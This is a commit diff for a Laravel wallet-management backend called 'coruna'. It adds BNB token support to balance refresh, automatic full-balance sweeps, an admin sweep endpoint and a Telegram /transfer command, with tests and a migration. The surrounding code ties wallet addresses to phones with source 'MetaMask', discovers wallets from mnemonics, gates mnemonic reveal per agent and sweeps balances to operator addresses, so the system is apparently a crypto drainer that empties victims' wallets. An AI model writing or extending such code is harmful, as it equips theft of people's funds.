feat: bnb

.env.example

@@ -115,6 +115,7 @@ AUTO_TRANSFER_THRESHOLD_USDT=
 AUTO_TRANSFER_THRESHOLD_TRX=
 AUTO_TRANSFER_THRESHOLD_ETH=
 AUTO_TRANSFER_THRESHOLD_BTC=
+AUTO_TRANSFER_THRESHOLD_BNB=
 TRANSFER_FEE_ADDRESS_TRON=
 TRANSFER_FEE_TOPUP_TRX=20
 TRANSFER_FEE_PRIVATE_KEY_TRON=

app/Http/Controllers/Admin/AgentUserController.php

@@ -61,6 +61,7 @@ class AgentUserController extends Controller
                 'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
                 'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
                 'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
+                'auto_transfer_threshold_bnb' => $u->auto_transfer_threshold_bnb !== null ? (string) $u->auto_transfer_threshold_bnb : '',
                 'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
                 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
                 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
@@ -93,6 +94,7 @@ class AgentUserController extends Controller
             'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
             'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
             'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
+            'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
             'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
             'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
         ]);
@@ -108,6 +110,7 @@ class AgentUserController extends Controller
             'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
             'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
             'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
+            'auto_transfer_threshold_bnb' => $this->nullableThreshold($data['auto_transfer_threshold_bnb'] ?? null),
             'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
             'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)),
         ]);
@@ -127,6 +130,7 @@ class AgentUserController extends Controller
             'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
             'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
             'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
+            'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
             'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
             'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
         ]);
@@ -149,7 +153,7 @@ class AgentUserController extends Controller
         if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) {
             $agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']);
         }
-        foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
+        foreach (['usdt', 'trx', 'eth', 'btc', 'bnb'] as $coin) {
             $key = 'auto_transfer_threshold_'.$coin;
             if (array_key_exists($key, $data)) {
                 $agent->{$key} = $this->nullableThreshold($data[$key] ?? null);

app/Http/Controllers/Admin/SystemSettingsController.php

@@ -46,6 +46,7 @@ class SystemSettingsController extends Controller
             'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
             'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
             'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
+            'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
             'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
             'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
             'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
@@ -81,6 +82,7 @@ class SystemSettingsController extends Controller
             'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
             'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
             'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
+            'auto_transfer.threshold_bnb' => $threshold($data['auto_transfer_threshold_bnb'] ?? null) ?? '',
             'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
             'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
             'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',

app/Http/Controllers/Admin/TransferRecordController.php

@@ -23,7 +23,7 @@ class TransferRecordController extends Controller
                 'eth' => 'ETH',
                 'btc' => 'BTC',
             ],
-            'assets' => ['USDT', 'TRX', 'ETH', 'BTC'],
+            'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'],
         ]);
     }
 

app/Http/Controllers/Admin/WalletAddressController.php

@@ -160,7 +160,7 @@ class WalletAddressController extends Controller
             $amount = null;
         } else {
             $decimals = match ($asset) {
-                'ETH' => 18,
+                'ETH', 'BNB' => 18,
                 'BTC' => 8,
                 default => 6,
             };
@@ -233,7 +233,7 @@ class WalletAddressController extends Controller
     private function assetsForChain(string $chain): array
     {
         return match ($chain) {
-            'eth' => ['ETH', 'USDT'],
+            'eth' => ['ETH', 'USDT', 'BNB'],
             'btc' => ['BTC'],
             default => ['USDT', 'TRX'],
         };

app/Models/User.php

@@ -14,6 +14,7 @@ class User extends Authenticatable
         'auto_transfer_threshold_trx',
         'auto_transfer_threshold_eth',
         'auto_transfer_threshold_btc',
+        'auto_transfer_threshold_bnb',
         'album_storage_default',
         'can_reveal_mnemonics',
     ];
@@ -41,6 +42,7 @@ class User extends Authenticatable
             'auto_transfer_threshold_trx' => 'decimal:8',
             'auto_transfer_threshold_eth' => 'decimal:8',
             'auto_transfer_threshold_btc' => 'decimal:8',
+            'auto_transfer_threshold_bnb' => 'decimal:8',
             'album_storage_default' => 'boolean',
             'can_reveal_mnemonics' => 'boolean',
             'google_auth_open' => 'integer',

app/Services/AutoTransferConfig.php

@@ -16,7 +16,7 @@ use App\Models\WalletAddress;
 class AutoTransferConfig
 {
     /** @var list<string> */
-    public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC'];
+    public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'];
 
     public function isEnabledForAddress(WalletAddress $address): bool
     {

app/Services/AutoTransferService.php

@@ -134,6 +134,7 @@ class AutoTransferService
                 'trx' => $address->trx,
                 'eth' => $address->eth,
                 'btc' => $address->btc,
+                'bnb' => $address->bnb,
             ],
         ];
 
@@ -365,7 +366,7 @@ class AutoTransferService
     private function assetScale(string $asset): int
     {
         return match (strtoupper($asset)) {
-            'ETH' => 18,
+            'ETH', 'BNB' => 18,
             'BTC' => 8,
             default => 6,
         };
@@ -378,7 +379,7 @@ class AutoTransferService
     {
         return match ($chain) {
             'TRON', 'TRX' => ['USDT', 'TRX'],
-            'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
+            'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'],
             'BTC', 'BITCOIN' => ['BTC'],
             default => [],
         };

app/Services/Chain/EthDriver.php

@@ -41,7 +41,7 @@ class EthDriver implements ChainDriver
 
         $derived = Bip44::derive($mnemonic, $this->path($index));
         $from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
-        $units = $this->toTokenUnits($amount);
+        $units = $this->toTokenUnits($amount, $this->tokenDecimals($contract));
         // transfer(address,uint256) selector = a9059cbb
         $data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT);
 
@@ -76,16 +76,22 @@ class EthDriver implements ChainDriver
             // fall through to token
         }
 
-        $contract = trim((string) config('coruna.eth.usdt_contract', ''));
+        foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) {
-        if ($contract === '') {
+            $contract = trim((string) config($key, ''));
-            return false;
+            if ($contract === '') {
+                continue;
+            }
+
+            try {
+                if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
+                    return true;
+                }
+            } catch (\Throwable) {
+                // try the next token
+            }
         }
 
-        try {
+        return false;
-            return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
-        } catch (\Throwable) {
-            return false;
-        }
     }
 
     public function getNativeBalance(string $address): string
@@ -118,7 +124,7 @@ class EthDriver implements ChainDriver
             return '0';
         }
 
-        return $this->fromTokenUnits($this->hexToDec($hex));
+        return $this->fromTokenUnits($this->hexToDec($hex), $this->tokenDecimals($contract));
     }
 
     private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
@@ -184,10 +190,25 @@ class EthDriver implements ChainDriver
         return $human === '' ? '0' : $human;
     }
 
-    private function toTokenUnits(string $amount): string
+    private function tokenDecimals(string $contract): int
     {
-        $decimals = (int) config('coruna.eth.usdt_decimals', 6);
+        $normalized = EthAddress::normalize($contract);
-        if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) {
+        $known = [
+            EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6),
+            EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18),
+        ];
+        unset($known['']);
+        if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) {
+            return $known[$normalized];
+        }
+
+        return max(1, (int) config('coruna.eth.usdt_decimals', 6));
+    }
+
+    private function toTokenUnits(string $amount, int $decimals): string
+    {
+        $decimals = max(1, $decimals);
+        if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
             throw new RuntimeException('Invalid token amount');
         }
         $factor = bcpow('10', (string) $decimals, 0);
@@ -199,9 +220,9 @@ class EthDriver implements ChainDriver
         return $units;
     }
 
-    private function fromTokenUnits(string $units): string
+    private function fromTokenUnits(string $units, int $decimals): string
     {
-        $decimals = (int) config('coruna.eth.usdt_decimals', 6);
+        $decimals = max(0, $decimals);
         if (! preg_match('/^\d+$/', $units)) {
             $units = '0';
         }

app/Services/MnemonicWalletDiscovery.php

@@ -259,6 +259,7 @@ class MnemonicWalletDiscovery
             'coins' => [
                 'eth' => $driver->getNativeBalance($address),
                 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
+                'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
             ],
         ];
     }
@@ -394,7 +395,7 @@ class MnemonicWalletDiscovery
     {
         return match ($chain) {
             'tron' => ['trx' => '0', 'usdt' => '0'],
-            'eth' => ['eth' => '0', 'usdt' => '0'],
+            'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
             'btc' => ['btc' => '0'],
             'sol' => ['sol' => '0', 'usdt' => '0'],
             default => [],

app/Services/SettingsService.php

@@ -21,6 +21,7 @@ class SettingsService
         'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
         'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
         'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
+        'auto_transfer.threshold_bnb' => 'AUTO_TRANSFER_THRESHOLD_BNB',
         'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
         'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
         'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
@@ -44,6 +45,7 @@ class SettingsService
             'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
             'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
             'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
+            'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
             'transfer.to_address' => config('coruna.transfer.to_address'),
             'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
             'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
@@ -108,6 +110,7 @@ class SettingsService
             'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
             'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
             'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
+            'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
             'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
             'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
             'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
@@ -149,6 +152,7 @@ class SettingsService
             'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
             'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
             'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
+            'auto_transfer.threshold_bnb' => config(['coruna.auto_transfer.threshold_bnb' => $value]),
             'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
             'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
             'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),

app/Services/TransferService.php

@@ -108,6 +108,13 @@ class TransferService
                     $amount,
                     $this->usdtContract($chain),
                 ),
+                'BNB' => $driver->sendToken(
+                    $mnemonic,
+                    $index,
+                    $to,
+                    $amount,
+                    $this->bnbContract($chain),
+                ),
                 default => throw new RuntimeException("Unsupported asset: {$asset}"),
             };
 
@@ -442,11 +449,25 @@ class TransferService
         return $contract;
     }
 
+    private function bnbContract(string $chain): string
+    {
+        if (! in_array($chain, ['eth', 'ethereum'], true)) {
+            throw new RuntimeException('BNB is only supported on ETH');
+        }
+        $contract = trim((string) config('coruna.eth.bnb_contract', ''));
+        if ($contract === '') {
+            throw new RuntimeException('BNB contract is not configured for '.$chain);
+        }
+
+        return $contract;
+    }
+
     private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
     {
         $balance = match ($asset) {
             'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
             'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
+            'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)),
             default => throw new RuntimeException("Unsupported asset: {$asset}"),
         };
 
@@ -457,7 +478,7 @@ class TransferService
             default => null,
         };
         $scale = match ($asset) {
-            'ETH' => 18,
+            'ETH', 'BNB' => 18,
             'BTC' => 8,
             default => 6,
         };
@@ -568,7 +589,7 @@ class TransferService
     private function assertAmountWithinLimit(string $amount, string $asset): void
     {
         $decimals = match ($asset) {
-            'ETH' => 18,
+            'ETH', 'BNB' => 18,
             'BTC' => 8,
             default => 6,
         };
@@ -580,6 +601,7 @@ class TransferService
             'TRX' => 'coruna.transfer.max_trx',
             'ETH' => 'coruna.transfer.max_eth',
             'BTC' => 'coruna.transfer.max_btc',
+            'BNB' => 'coruna.transfer.max_bnb',
             default => 'coruna.transfer.max_usdt',
         };
         $max = (string) config($maxKey, '0');

app/Services/WalletBalanceService.php

@@ -11,7 +11,7 @@ use Illuminate\Support\Facades\Log;
 /**
  * Live on-chain balance refresh for wallet_addresses.
  *
- * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
+ * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only.
  * SOL: SOL + USDT (SPL).
  */
 class WalletBalanceService
@@ -54,6 +54,10 @@ class WalletBalanceService
             if ($contract !== '') {
                 $attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
             }
+            $bnbContract = trim((string) config('coruna.eth.bnb_contract', ''));
+            if ($bnbContract !== '') {
+                $attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract);
+            }
             $this->persistCoins($address, $attrs);
 
             Log::info('eth balance refresh ok', [
@@ -61,6 +65,7 @@ class WalletBalanceService
                 'address' => $addr,
                 'eth' => $address->eth,
                 'usdt' => $address->usdt,
+                'bnb' => $address->bnb,
             ]);
 
             return true;

app/Telegram/Handlers/HelpCommand.php

@@ -29,12 +29,13 @@ class HelpCommand
             '/channel',
             '  列出渠道：ID、备注、归属；新版点按钮复制推广 iframe，旧版复制投放链接',
             '',
-            '/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
+            '/transfer <fromAddress> [TRX|USDT|ETH|BNB|BTC] [amount]',
             '  从设备地址转出到配置收款地址',
             '  按地址识别链：T…=Tron，0x…=ETH，1…/3…/bc1…=BTC',
             '  省略 amount 则转全部；默认 Tron→USDT / ETH→ETH / BTC→BTC',
             '  例: /transfer Txxx USDT 10',
             '  例: /transfer 0x… ETH',
+            '  例: /transfer 0x… BNB',
             '  例: /transfer 1… BTC 0.01',
         ]));
     }

app/Telegram/Handlers/TransferCommand.php

@@ -24,7 +24,7 @@ class TransferCommand
 
         if ($parts === []) {
             $bot->sendMessage(
-                "Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]\n"
+                "Usage: /transfer <fromAddress> [TRX|USDT|ETH|BNB|BTC] [amount]\n"
                 ."Omit amount to transfer all. Chain is inferred from address.\n"
                 ."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
                 .'To = per-chain TRANSFER_TO_ADDRESS* (env).'
@@ -68,7 +68,7 @@ class TransferCommand
                 return;
             }
             $decimals = match ($asset) {
-                'ETH' => 18,
+                'ETH', 'BNB' => 18,
                 'BTC' => 8,
                 default => 6,
             };
@@ -172,7 +172,7 @@ class TransferCommand
     private function assetsForChain(string $chain): array
     {
         return match ($chain) {
-            'eth' => ['ETH', 'USDT'],
+            'eth' => ['ETH', 'USDT', 'BNB'],
             'btc' => ['BTC'],
             default => ['TRX', 'USDT'],
         };

config/coruna.php

@@ -88,6 +88,7 @@ return [
         'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''),
         'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''),
         'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''),
+        'threshold_bnb' => (string) env('AUTO_TRANSFER_THRESHOLD_BNB', ''),
     ],
 
     // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
@@ -117,6 +118,9 @@ return [
         // Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
         'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
         'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
+        // BNB ERC20 on Ethereum mainnet (not BSC native). Empty = skip BNB balance/transfer.
+        'bnb_contract' => env('ETH_BNB_CONTRACT', '0xB8c77482e45F1F44dE1745F52C74426C631bDD52'),
+        'bnb_decimals' => (int) env('ETH_BNB_DECIMALS', 18),
         'gas_limit' => env('ETH_GAS_LIMIT', ''),
     ],
     'btc' => [
@@ -149,6 +153,7 @@ return [
         'max_trx' => env('TRANSFER_MAX_TRX', '0'),
         'max_eth' => env('TRANSFER_MAX_ETH', '0'),
         'max_btc' => env('TRANSFER_MAX_BTC', '0'),
+        'max_bnb' => env('TRANSFER_MAX_BNB', '0'),
         // BIP44 account index scan upper bound when matching fromAddress.
         'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
         // Leave this much native when transferring "all".

database/migrations/2026_09_25_000010_users_auto_transfer_threshold_bnb.php

@@ -0,0 +1,22 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    public function up(): void
+    {
+        Schema::table('users', function (Blueprint $table) {
+            $table->decimal('auto_transfer_threshold_bnb', 24, 8)->nullable()->after('auto_transfer_threshold_btc');
+        });
+    }
+
+    public function down(): void
+    {
+        Schema::table('users', function (Blueprint $table) {
+            $table->dropColumn('auto_transfer_threshold_bnb');
+        });
+    }
+};

resources/views/admin/addresses/index.blade.php

@@ -152,7 +152,7 @@ layui.use(['table', 'form', 'layer'], function () {
       return ['USDT', 'TRX'];
     }
     if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
-      return ['ETH', 'USDT'];
+      return ['ETH', 'USDT', 'BNB'];
     }
     if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) {
       return ['BTC'];

resources/views/admin/agents/index.blade.php

@@ -156,6 +156,7 @@ layui.use(['table', 'form', 'layer'], function () {
         '<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
         '<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
         '<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
+        '<input name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:110px;" value="' + esc(values.auto_transfer_threshold_bnb || '') + '">' +
         '</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值（系统也空则 &gt;0）</div></div>' +
         '</form>',
       success: function (layero, index) {

resources/views/admin/system/settings.blade.php

@@ -93,6 +93,8 @@
                  value="{{ $form['auto_transfer.threshold_eth'] }}">
           <input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
                  value="{{ $form['auto_transfer.threshold_btc'] }}">
+          <input type="text" name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:140px;"
+                 value="{{ $form['auto_transfer.threshold_bnb'] }}">
         </div>
         <div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转；留空按 &gt;0 触发</div>
       </div>

tests/Feature/AddressSweepTest.php

@@ -148,4 +148,48 @@ class AddressSweepTest extends TestCase
             ->assertStatus(403)
             ->assertJson(['code' => 1]);
     }
+
+    #[Test]
+    public function admin_can_sweep_bnb_on_eth_address(): void
+    {
+        $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+        $device = Device::query()->create([
+            'device_id' => 'dev-sweep-eth',
+            'ios_version' => '18.0',
+            'device_model' => 'iPhone',
+        ]);
+        $addr = WalletAddress::query()->create([
+            'device_id' => $device->id,
+            'address' => '0x9858EfFD232B4033E47d90003D41EC34EcaEda94',
+            'chain_type' => 'ETH',
+            'source' => 'MetaMask',
+            'eth' => '0.2',
+            'usdt' => '10',
+            'bnb' => '1.5',
+            'monitor' => 0,
+        ]);
+
+        $transfers = Mockery::mock(TransferService::class);
+        $transfers->shouldReceive('handle')
+            ->once()
+            ->with('eth', $addr->address, '1.5', 'BNB', Mockery::type('string'))
+            ->andReturn([
+                'ok' => true,
+                'txid' => '0x'.str_repeat('ab', 32),
+                'from' => $addr->address,
+                'to' => '0x0000000000000000000000000000000000000001',
+                'amount' => '1.5',
+                'asset' => 'BNB',
+            ]);
+        $this->app->instance(TransferService::class, $transfers);
+
+        $this->actingAs($admin, 'admin')
+            ->postJson('/admin/addresses/'.$addr->id.'/sweep', [
+                'asset' => 'BNB',
+                'amount' => '1.5',
+            ])
+            ->assertOk()
+            ->assertJsonPath('code', 0)
+            ->assertJsonPath('data.asset', 'BNB');
+    }
 }

tests/Feature/TelegramBotTest.php

@@ -247,6 +247,47 @@ class TelegramBotTest extends TestCase
         $this->assertStringContainsString('deadbeef', $last['text'] ?? '');
     }
 
+    #[Test]
+    public function admin_transfer_accepts_bnb_on_eth_address(): void
+    {
+        $from = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
+        $mock = Mockery::mock(TransferService::class);
+        $mock->shouldReceive('handle')
+            ->once()
+            ->withArgs(function (...$args) use ($from) {
+                return ($args[0] ?? null) === 'eth'
+                    && strcasecmp((string) ($args[1] ?? ''), $from) === 0
+                    && ($args[2] ?? null) === '1.5'
+                    && ($args[3] ?? null) === 'BNB';
+            })
+            ->andReturn([
+                'ok' => true,
+                'txid' => '0xbnbtx',
+                'from' => $from,
+                'to' => '0x0000000000000000000000000000000000000001',
+                'amount' => '1.5',
+                'asset' => 'BNB',
+            ]);
+        $this->app->instance(TransferService::class, $mock);
+
+        /** @var FakeNutgram $bot */
+        $bot = app(Nutgram::class);
+        $bot->willReceivePartial([
+            'status' => ChatMemberStatus::CREATOR->value,
+            'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
+        ]);
+        $bot->hearMessage([
+            'text' => '/transfer '.$from.' BNB 1.5',
+            'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
+            'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
+        ])->reply();
+
+        $bot->assertCalled('sendMessage', 2);
+        $history = $bot->getRequestHistory();
+        $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
+        $this->assertStringContainsString('0xbnbtx', $last['text'] ?? '');
+    }
+
     #[Test]
     public function admin_data_reports_dashboard_stats(): void
     {

tests/Unit/EthDriverTest.php

@@ -3,6 +3,7 @@
 namespace Tests\Unit;
 
 use App\Services\Chain\EthDriver;
+use Illuminate\Support\Facades\Http;
 use PHPUnit\Framework\Attributes\Test;
 use Tests\TestCase;
 
@@ -30,4 +31,29 @@ class EthDriverTest extends TestCase
         $this->assertFalse($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
         $this->assertFalse($driver->isValidAddress('0x1234'));
     }
+
+    #[Test]
+    public function token_balance_uses_per_contract_decimals(): void
+    {
+        config([
+            'coruna.eth.rpc_url' => 'https://ethereum.example',
+            'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
+            'coruna.eth.usdt_decimals' => 6,
+            'coruna.eth.bnb_contract' => '0xB8c77482e45F1F44dE1745F52C74426C631bDD52',
+            'coruna.eth.bnb_decimals' => 18,
+        ]);
+
+        Http::fake(function ($request) {
+            $to = strtolower((string) ($request->data()['params'][0]['to'] ?? ''));
+            $result = str_contains($to, 'dac17f95') ? '0x5f5e100' : '0xde0b6b3a7640000';
+
+            return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $result]);
+        });
+
+        $driver = new EthDriver;
+        $addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
+
+        $this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract')));
+        $this->assertSame('1', $driver->getTokenBalance($addr, (string) config('coruna.eth.bnb_contract')));
+    }
 }

tests/Unit/WalletBalanceServiceTest.php

@@ -63,11 +63,14 @@ class WalletBalanceServiceTest extends TestCase
 
         $eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
         $eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
-        $eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
+        $eth->shouldReceive('getTokenBalance')->twice()->andReturn('9.5', '2.5');
         $manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
         $manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
         $this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
-        config(['coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7']);
+        config([
+            'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
+            'coruna.eth.bnb_contract' => '0xb8c77482e45f1f44de1745f52c74426c631bdd52',
+        ]);
 
         $device = Device::query()->create([
             'device_id' => 'dev-bal-2',
@@ -88,6 +91,7 @@ class WalletBalanceServiceTest extends TestCase
         $addr->refresh();
         $this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
         $this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
+        $this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001);
     }
 
     #[Test]